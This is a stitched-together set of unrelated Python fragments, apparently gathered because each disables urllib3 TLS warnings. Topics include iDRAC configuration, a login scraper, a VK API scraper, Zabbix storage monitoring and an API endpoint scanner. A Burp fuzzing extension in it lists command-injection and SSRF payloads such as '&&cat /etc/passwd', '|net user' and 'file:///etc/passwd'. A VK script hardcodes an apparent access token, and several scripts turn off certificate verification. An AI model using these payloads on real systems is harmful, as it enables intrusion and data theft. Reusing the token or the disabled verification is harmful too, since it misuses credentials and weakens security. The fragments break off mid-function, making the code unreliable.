parser.error("invalid timeout, got `%d`" % args.timeout)
# header
http_headers = {"User-Agent": args.user_agent}
if args.header:
for header in args.header:
tokens = header.split("=", maxsplit=1)
if len(tokens) != 2:
parser.error(
"http header must have the form NAME=VALUE, got `%s`" %
header)
name, value = tokens
http_headers[name.strip()] = value.strip()
# proxy
if args.proxy:
proxy_valid = False
for pattern, proxy_type in [
(r"^socks5:(.*):(\d+)$", socks.PROXY_TYPE_SOCKS5),
(r"^socks4:(.*):(\d+)$", socks.PROXY_TYPE_SOCKS4),
(r"^http://(.*):(\d+)$", socks.PROXY_TYPE_HTTP),
(r"^(.*):(\d+)$", socks.PROXY_TYPE_SOCKS5),
]:
m = re.match(pattern, args.proxy)
if m:
socks.setdefaultproxy(proxy_type, m.group(1), int(m.group(2)))
socket.socket = socks.socksocket
proxy_valid = True
break
if not proxy_valid:
parser.error("invalid proxy, got `%s`" % args.proxy)
# output directory
if not os.path.exists(args.directory):
os.makedirs(args.directory)
if not os.path.isdir(args.directory):
parser.error("`%s` is not a directory" % args.directory)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# fetch everything
sys.exit(
fetch_git(
args.url,
args.directory,
args.jobs,
args.retry,
args.timeout,
http_headers,
))
import requests
import json
import sys
import re
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.SecurityWarning)
import get_servers
from datetime import datetime
servers = []
get_servers.get(servers)
get_servers.printServers(servers)
idrac_index = input("Select Server: ")
idrac_index = int(idrac_index)
idrac_ip = str(servers[idrac_index - 1])
print("Selected server: " + idrac_ip)
idrac_username = input("iDRAC username: "******"iDRAC password: "******"r")
url = 'https://%s/redfish/v1/Managers/iDRAC.Embedded.1/Actions/Oem/EID_674_Manager.ImportSystemConfiguration' % idrac_ip
payload = {
"ShutdownType": "Forced",
import bs4 as bs
import requests as re
import urllib3
from selenium import webdriver
import pickle
from selenium.webdriver.chrome.options import Options
##import json
#import dryscrape
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # remove "InsecureRequestWarning" meassage
with re.session() as c:
url = "https://configurx.it.abb.com/configurx/content/Login.aspx"
Logged_url="https://configurx.it.abb.com/configurx/content/Logged.aspx"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
'Referer':'https://configurx.it.abb.com/configurx/content/Login.aspx'
}
data = {
'__VIEWSTATE': '/wEPDwUKMTkwMDA0NDE2NQ9kFgICAQ9kFjQCAQ8PFgIeBFRleHQFFFdlbGNvbWUgaW4gQ29uZmlndXJYZGQCAw8PFgIfAAULSU5GT1JNQVRJT05kZAIFDw8WAh8ABQhFLW1haWw6IGRkAgcPDxYEHwAFC0luZm9ybWF0aW9uHgtOYXZpZ2F0ZVVybAVQbWFpbHRvOmluc3RydW1lbnRhdGlvbnguc3VwcG9ydEBpdC5hYmIuY29tP3N1YmplY3Q9SW5zdHJ1bWVudGF0aW9uWDogSU5GT1JNQVRJT05kZAIJDw8WAh8ABQVUZWw6IGRkAgsPDxYCHwAFAzAwMGRkAg0PDxYCHwAFEVRFQ0hOSUNBTCBTVVBQT1JUZGQCDw8PFgIfAAUIRS1tYWlsOiBkZAIRDw8WBB8ABQlTdXBwb3J0DQofAQVWbWFpbHRvOmluc3RydW1lbnRhdGlvbnguc3VwcG9ydEBpdC5hYmIuY29tP3N1YmplY3Q9SW5zdHJ1bWVudGF0aW9uWDogVEVDSE5JQ0FMIFNVUFBPUlRkZAITDw8WAh8ABQVUZWw6IGRkAhUPDxYCHwAFAzAwMGRkAhcPDxYCHwAFB1JFTEVBU0VkZAIZDw8WAh8ABR8xMC40NTIuMCByZWxlYXNlZCBvbjExIE9jdCAyMDE5ZGQCHQ8PFgIfAAUNQUJCIENPTkZJR1VSWGRkAh8PDxYCHwAF/wE8Yj5Db25maWd1clg8L2I+IGlzIGFuIEludGVybmV0LWJhc2VkIGFwcGxpY2F0aW9uIHdoaWNoIHByb3ZpZGUgYXV0aG9yaXplZCB1c2VycyB3aXRoIGEgcG93ZXJmdWwgcHJvZHVjdCBjb25maWd1cmF0aW9uIGVudmlyb25tZW50Ljxicj5JdGBzIHBhcnQgb2YgdGhlIEluc3RydW1lbnRhdGlvblggU3VpdGUgYW5kIHdvcmtzIGluIGRpcmVjdCBjb25uZWN0aW9uIHdpdGggdGhlIEluc3RydW1lbnRhdGlvblggUHJvZHVjdCBHbG9iYWwgQ29udGVudC5kZAIhDw8WAh8ABRVMT0dJTiBJTlRPIFRIRSBTWVNURU1kZAIjDw8WBB8AZR4HVmlzaWJsZWhkZAIkDw8WBB8AZR8CaGRkAiYPDxYCHwAFC1VzZXIgTmFtZTogZGQCKg8PFgIfAAUKUGFzc3dvcmQ6IGRkAi4PDxYCHwAFBUxvZ2luZGQCMA8WAh8CaBYEZg9kFgJmDw8WAh8ABQhNYXJrZXQ6IGRkAgEPZBYCZg8QZGQWAGQCMg8PFgIfAAUrVXNlciBOYW1lIGFuZCBQYXNzd29yZCBhcmUgY2FzZSBzZW5zaXN0aXZlLmRkAjQPDxYCHwAFHURJRCBZT1UgRk9SR0VUIFlPVVIgUEFTU1dPUkQ/ZGQCOg8PFgIfAAUEU2VuZGRkAjwPDxYCHwAFc1BsZWFzZSBpbnNlcnQgeW91ciBVc2VyIEUtbWFpbCBhZGRyZXNzLjxicj5Vc2VyIE5hbWUgYW5kIFBhc3N3b3JkIHdpbGwgYmUgc2VudCBhdXRvbWF0aWNhbGx5IHRvIHlvdXIgdHlwZWQgYWRkcmVzcy5kZGSeWqHrF3jeTtVW7gAs8VhBPQ3CmkO7PlylFkUwqqX0vQ==',
'__VIEWSTATEGENERATOR':'9CA0CFBB',
'__EVENTVALIDATION':' /wEdAAaSJ11LiwK3vAQYySWybSavxcn6oIDdbNQI5AQUIIyv4nY2+Mc6SrnAqio3oCKbxYaKVZBXgGQ/GUR0UoSGGFdN8lcVMzLLXeEaNXy6K7qCcqKah4gBOJF3lXZOOLxfjvX8yvBW07V17BWBRAhRmjm3xCzClcBcwsw2otVwFwQ2aw==',
'txtLogin':'******',
'txtPassword':'******',
'cmdLogin':'******',
'txtEmail3':' '
} # the data that we all need is here, when the password changed, please update your password.
#res=c.get(url,verify=False,headers = headers)
resp= c.post(url,data=data,headers = headers,verify=False)
Logged_cx= c.get(Logged_url,verify=False)
#print(Logged_cx.text) # verify if logged in successful or not, from feedback text and know it works, so do not need to run again
def _disable_warnings():
"""
Helper for quickly disabling all urllib3 warnings.
"""
disable_warnings()
def b():
from time import sleep
import os
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def thebiggest():
allgroups = {
'groups': [
{
'name': 'mdk',
'id': '-57846937'
},
{
'name': 'borsh',
'id': '-460389'
},
]
}
lengr = len(allgroups['groups'])
for m in range(lengr):
ut = allgroups['groups'][m]['id']
sss = []
for m in range(lengr):
ut = allgroups['groups'][m]['id']
hh = allgroups['groups'][m]['name']
print(ut)
s = []
try:
r = requests.get(
'https://api.vk.com/method/wall.get?',
params={
'owner_id': ut,
'count': '100',
'access_token':
'c85ac67f35af2b1113a812366a9b8f1580ad9d94ce346943777f083958b1b33625b528f9041f51c5b663c',
'v': '5.92'
},
verify=False)
h = r.json()['response']
s.append(h)
except:
print('api error')
for i in range(len(s)):
for name in h['items']:
try:
likes = name['likes']['count']
views = name['views']['count']
itog = views // likes
except:
print('0')
if (2 <= itog <= 27):
jjjjj = {'grip': hh, 'id': name['id'], 'idg': ut}
sss.append(jjjjj)
return sss
vv = thebiggest()
print(vv)
def best():
c = 0
d = []
for i in range(len(vv)):
g = str(vv[i]['idg']) + '_' + str(vv[i]['id'])
print(g)
try:
r = requests.get(
'https://api.vk.com/method/wall.getById?',
params={
'posts': g,
'access_token':
'c85ac67f35af2b1113a812366a9b8f1580ad9d94ce346943777f083958b1b33625b528f9041f51c5b663c',
'v': '5.92'
},
verify=False)
s = []
h = r.json()['response']
s.append(h)
except:
print('')
print(s)
for name in s:
for b in name:
if ((b['attachments'][0]['type']) == 'photo'):
img = 'static/img/img' + str(c) + '.jpg'
d.append(img)
p = requests.get(
b['attachments'][0]['photo']['sizes'][6]['url'])
out = open(img, "wb")
out.write(p.content)
out.close()
c = c + 1
h = {'kol': c, 'array': d}
return h
n = best()
c = n['kol']
b = n['array']
print(c)
# -*- coding: utf8 -*-
import json
name = "/static/hjjjj.json"
file = open(name, mode="w", encoding="Latin-1")
pl = {'enter': [c, b]}
m = []
m.append(pl)
json.dump(m, file)
file.close()
name = '/static/hjjjj.json'
bv = open(name, mode="r", encoding="Latin-1")
json_d = json.load(bv)
for us in json_d:
for i in us['enter'][1]:
print(us['enter'])
import os
def fcount(path):
""" Counts the number of files in a directory """
count = 0
for f in os.listdir(path):
if os.path.isfile(os.path.join(path, f)):
count += 1
return count
h = fcount('static/img/.')
print(h)
if h != pl['enter'][0]:
u = pl['enter'][0]
try:
import glob
f = glob.glob("static/img/*.jpg")
print(f)
while u <= h:
os.remove(f[u])
u = u + 1
except:
pass
def __init__(self):
self.dstage = False
self.admission = False
self.infostage = dict()
self.infoadmission = dict()
self.cptstage = 0
self.cptadmission = 0
#Suppression le contenu de dossier audios
contenu = os.listdir(os.getcwd() + "\\audios")
for x in contenu:
os.remove(os.getcwd() + "\\audios\\" + x)
with open("data/data_chat.json") as file:
self.data = json.load(file)
self.stemmer = LancasterStemmer()
self.words = []
self.labels = []
self.docs_x = []
self.docs_y = []
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
pygame.mixer.init()
for intent in self.data["intents"]:
for pattern in intent["patterns"]:
self.wrds = nltk.word_tokenize(pattern)
self.words.extend(self.wrds)
self.docs_x.append(self.wrds)
self.docs_y.append(intent["tag"])
if intent["tag"] not in self.labels:
self.labels.append(intent["tag"])
self.words = [
self.stemmer.stem(w.lower()) for w in self.words if w != "?"
]
self.words = sorted(list(set(self.words)))
self.labels = sorted(self.labels)
training = []
output = []
out_empty = [0 for _ in range(len(self.labels))]
for x, doc in enumerate(self.docs_x):
bag = []
wrds = [self.stemmer.stem(w.lower()) for w in doc]
for w in self.words:
if w in wrds:
bag.append(1)
else:
bag.append(0)
output_row = out_empty[:]
output_row[self.labels.index(self.docs_y[x])] = 1
training.append(bag)
output.append(output_row)
len(training[0])
training = numpy.array(training)
output = numpy.array(output)
tensorflow.reset_default_graph()
net = tflearn.input_data(shape=[None, len(training[0])])
net = tflearn.fully_connected(net, 6)
net = tflearn.fully_connected(net, 6)
net = tflearn.fully_connected(net,
len(output[0]),
activation="softmax")
net = tflearn.regression(net)
self.model = tflearn.DNN(net)
#self.model.fit(training, output, n_epoch=1000,batch_size=8, show_metric=True)
#self.model.save('model.tflearn')
try:
self.model.load("model.tflearn")
except:
self.lecture("Erreur model")
data = pd.read_csv("data/data_master.csv")
data.drop('Serial No.', axis=1, inplace=True)
data.rename({
'Chance of Admit ': 'Chance of Admit',
'LOR ': 'LOR'
},
axis=1,
inplace=True)
X = data.drop(['Chance of Admit'], axis=1)
y = data['Chance of Admit']
#Standardization
scaler = StandardScaler()
X[['CGPA', 'GRE Score', 'TOEFL Score'
]] = scaler.fit_transform(X[['CGPA', 'GRE Score', 'TOEFL Score']])
#Splitting
X_train, X_test, y_train, y_test = train_test_split(X,
y,
train_size=0.80,
random_state=101)
self.lr = LinearRegression()
self.lr.fit(X_train, y_train)
def test_verify_no_OK(self, httpbin_secure):
# Avoid warnings when explicitly testing insecure requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
r = http(httpbin_secure.url + '/get', '--verify=no')
assert HTTP_OK in r
def test_verify_false_OK(self, httpbin_secure, verify_value):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
r = http(httpbin_secure.url + '/get', '--verify', verify_value)
assert HTTP_OK in r
def pure_volume_monitoring():
try:
'''Get the argument from Zabbix'''
ip = str(sys.argv[2]) #IP of the Pure Storage Array
token = str(sys.argv[3]) #API Token
volume = str(sys.argv[4]) #Volume Name
host = str(sys.argv[5]) #Host name (for the sender)
zabbixIP = str(
sys.argv[6]) #Zabbix Proxy or Server IP (for the sender)
'''
Disable the SSL Warning from the output
'''
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
'''Get data'''
arrayConnect = purestorage.FlashArray(ip, api_token=token)
volumeMonitoring = arrayConnect.get_volume(volume=volume,
action="monitor")
volumeSpace = arrayConnect.get_volume(volume=volume, space="true")
volumeInfo = arrayConnect.get_volume(volume=volume)
arrayValues = volumeMonitoring[0]
'''Will disable the output to console'''
FNULL = open(os.devnull, 'w')
'''Sending data'''
if "input_per_sec" in arrayValues:
arrayInputPerSec = str(arrayValues["input_per_sec"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.input.per.second[" + volume + "]", "-o",
arrayInputPerSec
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "output_per_sec" in arrayValues:
arrayOutputPerSec = str(arrayValues["output_per_sec"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.output.per.second[" + volume + "]", "-o",
arrayOutputPerSec
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "reads_per_sec" in arrayValues:
arrayReadPerSec = str(arrayValues["reads_per_sec"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.read.per.sec[" + volume + "]", "-o",
arrayReadPerSec
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "san_usec_per_read_op" in arrayValues:
arraySanUsecPerReadOp = str(arrayValues["san_usec_per_read_op"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.san.usec.per.read[" + volume + "]", "-o",
arraySanUsecPerReadOp
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "san_usec_per_write_op" in arrayValues:
arraySanUsecPerWriteOp = str(arrayValues["san_usec_per_write_op"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.san.usec.per.write[" + volume + "]", "-o",
arraySanUsecPerWriteOp
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "usec_per_read_op" in arrayValues:
arrayUsecPerReadOp = str(arrayValues["usec_per_read_op"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.usec.per.read[" + volume + "]", "-o",
arrayUsecPerReadOp
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "usec_per_write_op" in arrayValues:
arrayUsecPerWriteOp = str(arrayValues["usec_per_write_op"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.usec.per.write[" + volume + "]", "-o",
arrayUsecPerWriteOp
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "writes_per_sec" in arrayValues:
arrayWritePerSec = str(arrayValues["writes_per_sec"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.write.per.sec[" + volume + "]", "-o",
arrayWritePerSec
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "size" in volumeInfo:
arrayVolumeSize = str(volumeInfo["size"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.size[" + volume + "]", "-o", arrayVolumeSize
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "snapshots" in volumeSpace:
volumeSnapshots = str(volumeSpace["snapshots"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.snapshots.size[" + volume + "]", "-o",
volumeSnapshots
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "data_reduction" in volumeSpace:
volumeDataReduction = str(volumeSpace["data_reduction"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.data.reduction[" + volume + "]", "-o",
volumeDataReduction
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "thin_provisioning" in volumeSpace:
volumeThinProvisioning = str(volumeSpace["thin_provisioning"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.thin.provisioning[" + volume + "]", "-o",
volumeThinProvisioning
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "total_reduction" in volumeSpace:
volumeTotalReduction = str(volumeSpace["total_reduction"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.total.data.reduction[" + volume + "]", "-o",
volumeTotalReduction
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "volumes" in volumeSpace:
volumeUsedSpace = str(volumeSpace["volumes"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.volume.used.space[" + volume + "]", "-o", volumeUsedSpace
],
stdout=FNULL,
stderr=subprocess.STDOUT)
'''Send 1 to give a result to Zabbix'''
print(1)
except:
'''
Sending 0 to Zabbix instead of a Python error.
Like that the items won't be considered as "unsupported"
'''
print(0)
import requests
import argparse
import urllib3 #only disable SSL warnings
urllib3.disable_warnings() #only disable SSL warnings
parser = argparse.ArgumentParser(
description='API scanner for check available methods')
parser.add_argument("url", help="URL of scanning resource", action='store')
parser.add_argument("prefix", help="URL prefix", action='store')
parser.add_argument("--method", help="using HTTP method. Default GET.")
parser.add_argument("list", help="file with methods to check", action='store')
# parser.add_argument("--user-agent", help="User-Agent header for HTTP requests")
args = parser.parse_args()
# print(args.url)
# print(args.prefix)
url = args.url + "/" + args.prefix + "/"
# print(final_url)
try:
f = open(args.list)
for line in f:
final_url = url + line
print(final_url)
if args.method == 'post':
check_r = requests.post(final_url, verify=False)
print(check_r.status_code)
else:
check_r = requests.get(final_url, verify=False)
print(check_r.status_code)
except FileNotFoundError:
like resolve_cert_reqs
"""
if candidate is None:
return ssl.PROTOCOL_TLSv1 # 使用TLSv1
if isinstance(candidate, str):
res = getattr(ssl, candidate, None)
if res is None:
res = getattr(ssl, 'PROTOCOL_' + candidate)
return res
return candidate
urllib3.connection.resolve_ssl_version = resolve_ssl_version # 使用TLSv1
urllib3.disable_warnings() # 不打印非安全HTTPS警告信息
class SshLogList(LoginRequiredMixin, PermissionRequiredMixin, ListView):
model = SSH_Log
template_name = 'sshloglist.html'
permission_required = 'cmdb.replay_ssh_log'
raise_exception = True
class SshMonitor(LoginRequiredMixin, PermissionRequiredMixin, TemplateView):
model = SSH_Log
template_name = 'sshmonitor.html'
permission_required = 'cmdb.replay_ssh_log'
raise_exception = True
def call_api(root, port, path, header):
print('call api ' + path)
urllib3.disable_warnings(InsecureRequestWarning)
result = requests.get(root+':'+str(port)+path, headers=header, verify=False)
return result
from burp import IResponseInfo
from burp import IRequestInfo
from burp import IHttpService
from burp import IScannerCheck
from burp import IScannerInsertionPointProvider
from burp import IParameter
from burp import IScanIssue
from urlparse import urlparse
from java.net import URL
import urllib2
import sys
sys.path.append('C:/Python27/Lib/site-packages')
import random
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 屏蔽ssl警告
class FuzzLFI:
def __init__(self):
# 任意文件读取敏感目录
self.dir = [
'&&net user',
'&&cat /etc/passwd',
'&net user',
'&cat /etc/passwd',
'&;&net user',
'&;&cat /etc/passwd',
'|net user',
'|cat /etc/passwd',
#上面是命令执行漏洞的
'file:///etc/passwd',
'dict://127.0.0.1:22',
import copy
import logging
import os
import re
from typing import Dict, Tuple
from urllib.parse import urlencode
import requests
import urllib3
from urllib3.exceptions import InsecureRequestWarning
from adaptation_layer.error_handler import ResourceNotFound, NsNotFound, \
BadRequest, ServerError, NsOpNotFound, NsdNotFound
from .interface import Driver, Headers, BodyList, Body
urllib3.disable_warnings(InsecureRequestWarning)
TESTING = os.environ.get("TESTING", False)
PRISM_ALIAS = os.environ.get("PRISM_ALIAS", "prism-ever")
logger = logging.getLogger('app.driver.ever')
class EVER(Driver):
def __init__(self, rano_cred):
self._ranoId = rano_cred["rano_id"]
self._host = rano_cred["host"]
self._port = rano_cred["port"] if "port" in rano_cred else 8080
self._headers = {
"Content-Type": "application/json",
"Accept": "application/json"
}
def pure_array_info():
try:
'''Get the argument from Zabbix'''
ip = str(sys.argv[2]) #IP of the Pure Storage Array
token = str(sys.argv[3]) #API Token
host = str(sys.argv[4]) #Host name (for the sender)
zabbixIP = str(
sys.argv[5]) #Zabbix Proxy or Server IP (for the sender)
'''
Disable the SSL Warning from the output
'''
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
'''Get data'''
arrayConnect = purestorage.FlashArray(ip, api_token=token)
arraySpace = arrayConnect.get(space="true")
arrayInfo = arrayConnect.get()
arrayPhoneHome = arrayConnect.get_phonehome()
arrayRemoteAssist = arrayConnect.get_remote_assist_status()
arrayValues = arraySpace[0]
'''Will disable the output to console'''
FNULL = open(os.devnull, 'w')
'''Sending data'''
if "capacity" in arrayValues:
arrayCapacity = str(arrayValues["capacity"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.array.capacity", "-o", arrayCapacity
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "volumes" in arrayValues:
arrayVolumesSize = str(arrayValues["volumes"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.array.volumes.size", "-o", arrayVolumesSize
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "data_reduction" in arrayValues:
arrayDataReduction = str(arrayValues["data_reduction"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.array.data.reduction", "-o", arrayDataReduction
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "total" in arrayValues:
arrayUsedSpace = str(arrayValues["total"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.array.used.space", "-o", arrayUsedSpace
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "shared_space" in arrayValues:
arraySharedSpace = str(arrayValues["shared_space"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.array.shared.space", "-o", arraySharedSpace
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "thin_provisioning" in arrayValues:
arrayThinProvisioning = str(arrayValues["thin_provisioning"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.array.thin.provisioning", "-o", arrayThinProvisioning
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "total_reduction" in arrayValues:
arrayTotalReduction = str(arrayValues["total_reduction"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.array.total.data.reduction", "-o", arrayTotalReduction
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "array_name" in arrayInfo:
arrayHostname = arrayInfo["array_name"]
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.array.hostname", "-o", arrayHostname
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "version" in arrayInfo:
arrayVersion = str(arrayInfo["version"])
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.array.version", "-o", arrayVersion
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "status" in arrayRemoteAssist:
remoteAssist = arrayRemoteAssist["status"]
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.remote.assist", "-o", remoteAssist
],
stdout=FNULL,
stderr=subprocess.STDOUT)
if "phonehome" in arrayPhoneHome:
phoneHome = arrayPhoneHome["phonehome"]
subprocess.call([
"zabbix_sender", "-z", zabbixIP, "-s", host, "-k",
"pure.phone.home", "-o", phoneHome
],
stdout=FNULL,
stderr=subprocess.STDOUT)
'''Send 1 to give a result to Zabbix'''
print(1)
except:
'''
Sending 0 to Zabbix instead of a Python error.
Like that the items won't be considered as "unsupported"
'''
print(0)
# Copyright 2019 Jeremy Schulman, [email protected] # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from app import create_app # disable SSL warnings, and such ... this is only done here in the "app/run" so we don't hardcode # this disable anywhere in the package files. from urllib3 import disable_warnings disable_warnings() app = create_app() if __name__ == "__main__": app.run(host=app.config["HOST"], port=app.config["PORT"], threaded=app.config["THREADING"])
def main():
rootKey = 'nsxtapi'
configFileName = '/Users/challagandlp/playground/python/nsxtapi/config.yaml'
Config = Configmap(rootKey, configFileName)
nsxtmgr1_url = Config.getURL('site1', 'nsxtmgr1')
nsxtmgr1_usr = Config.getValue('site1', 'nsxtmgr1', 'auth_user')
nsxtmgr1_pwd = Config.getValue('site1', 'nsxtmgr1', 'auth_pwd')
session = requests.session()
session.verify = False
#nsx_url = 'https://%s:%s' % ("10.29.13.120", 443)
connector = connect.get_requests_connector(session=session,
msg_protocol='rest',
url=nsx_url)
stub_config = StubConfigurationFactory.new_std_configuration(connector)
security_context = create_user_password_security_context(
nsxtmgr1_usr, nsxtmgr1_pwd)
connector.set_security_context(security_context)
urllib3.disable_warnings()
domain_id = 'default'
group_list = []
group_svc = Groups(stub_config)
group_list = group_svc.list(domain_id)
x = len(group_list.results)
start_row = 1
for i in range(0, x):
# Extract Group ID for each group
grp_id = group_list.results[i].id
sheet1.write(start_row, 0, grp_id)
# Extract Tags for each group if exist
# Bypass system groups for LB
if 'NLB.PoolLB' in grp_id or 'NLB.VIP' in grp_id:
pass
elif group_list.results[i].tags:
result = group_list.results[i].tags
x = len(result)
tag_list = []
scope_list = []
for i in range(0, x):
tag_list.append(result[i].tag)
scope_list.append(result[i].scope)
sheet1.write(start_row, 1, ', '.join(tag_list), style_alignleft)
sheet1.write(start_row, 2, ', '.join(scope_list), style_alignleft)
# Bypass system groups for LB
if 'NLB.PoolLB' in grp_id or 'NLB.VIP' in grp_id:
pass
else:
# Create IP Address List for each group
iplist = []
ipsvc = IpAddresses(stub_config)
iplist = ipsvc.list(domain_id, grp_id)
iprc = iplist.result_count
iplist1 = []
for i in range(0, iprc):
iplist1.append(iplist.results[i])
sheet1.write(start_row, 3, ', '.join(iplist1), style_alignleft)
# Create Virtual Machine List for each group
vmlist = []
vmsvc = VirtualMachines(stub_config)
vmlist = vmsvc.list(domain_id, grp_id)
vmrc = vmlist.result_count
vmlist1 = []
for i in range(0, vmrc):
vmlist1.append(vmlist.results[i].display_name)
sheet1.write(start_row, 4, ', '.join(vmlist1), style_alignleft)
# Create Segment List for each group
sgmntlist = []
sgmntsvc = Segments(stub_config)
sgmntlist = sgmntsvc.list(domain_id, grp_id)
sgmntrc = sgmntlist.result_count
sgmntlist1 = []
for i in range(0, sgmntrc):
sgmntlist1.append(sgmntlist.results[i].display_name)
sheet1.write(start_row, 5, ', '.join(sgmntlist1), style_alignleft)
# Create Segment Port/vNIC List for each group
sgmntprtlist = []
sgmntprtsvc = SegmentPorts(stub_config)
sgmntprtlist = sgmntprtsvc.list(domain_id, grp_id)
sgmntprtrc = sgmntprtlist.result_count
sgmntprtlist1 = []
for i in range(0, sgmntprtrc):
sgmntprtlist1.append(sgmntprtlist.results[i].display_name)
sheet1.write(start_row, 6, ', '.join(sgmntprtlist1),
style_alignleft)
start_row += 1
groups_wkbk.save('Groups.xls')
def plugin_init(data):
""" Initializes the OMF plugin for the sending of blocks of readings to the PI Connector.
Args:
Returns:
Raises:
PluginInitializeFailed
"""
global _config
global _config_omf_types
global _logger
global _recreate_omf_objects
try:
# note : _module_name is used as __name__ refers to the Sending Proces
logger_name = _MODULE_NAME + "_" + str(data['stream_id']['value'])
_logger = \
logger.setup(logger_name, destination=_LOGGER_DESTINATION) if _log_debug_level == 0 else\
logger.setup(logger_name, destination=_LOGGER_DESTINATION, level=logging.INFO if _log_debug_level == 1 else logging.DEBUG)
except Exception as ex:
_logger.error("{0} - ERROR - {1}".format(
time.strftime("%Y-%m-%d %H:%M:%S:"),
plugin_common.MESSAGES_LIST["e000012"].format(str(ex))))
raise ex
_logger.debug("{0} - ".format("plugin_info"))
_validate_configuration(data)
# Retrieves the configurations and apply the related conversions
_config['_CONFIG_CATEGORY_NAME'] = data['_CONFIG_CATEGORY_NAME']
_config['URL'] = data['URL']['value']
_config['producerToken'] = data['producerToken']['value']
_config['OMFMaxRetry'] = int(data['OMFMaxRetry']['value'])
_config['OMFRetrySleepTime'] = int(data['OMFRetrySleepTime']['value'])
_config['OMFHttpTimeout'] = int(data['OMFHttpTimeout']['value'])
_config['StaticData'] = ast.literal_eval(data['StaticData']['value'])
# TODO: compare instance fetching via inspect vs as param passing
# import inspect
# _config['sending_process_instance'] = inspect.currentframe().f_back.f_locals['self']
_config['sending_process_instance'] = data['sending_process_instance']
# _config_omf_types = json.loads(data['omf_types']['value'])
_config_omf_types = _config[
'sending_process_instance']._fetch_configuration(
cat_name=_CONFIG_CATEGORY_OMF_TYPES_NAME,
cat_desc=_CONFIG_CATEGORY_OMF_TYPES_DESCRIPTION,
cat_config=CONFIG_DEFAULT_OMF_TYPES,
cat_keep_original=True)
_validate_configuration_omf_type(_config_omf_types)
# Converts the value field from str to a dict
for item in _config_omf_types:
if _config_omf_types[item]['type'] == 'JSON':
# The conversion from a dict to str changes the case and it should be fixed before the conversion
value = _config_omf_types[item]['value'].replace("true", "True")
new_value = ast.literal_eval(value)
_config_omf_types[item]['value'] = new_value
_logger.debug("{0} - URL {1}".format("plugin_init", _config['URL']))
try:
_recreate_omf_objects = True
except Exception as ex:
_logger.error(plugin_common.MESSAGES_LIST["e000011"].format(ex))
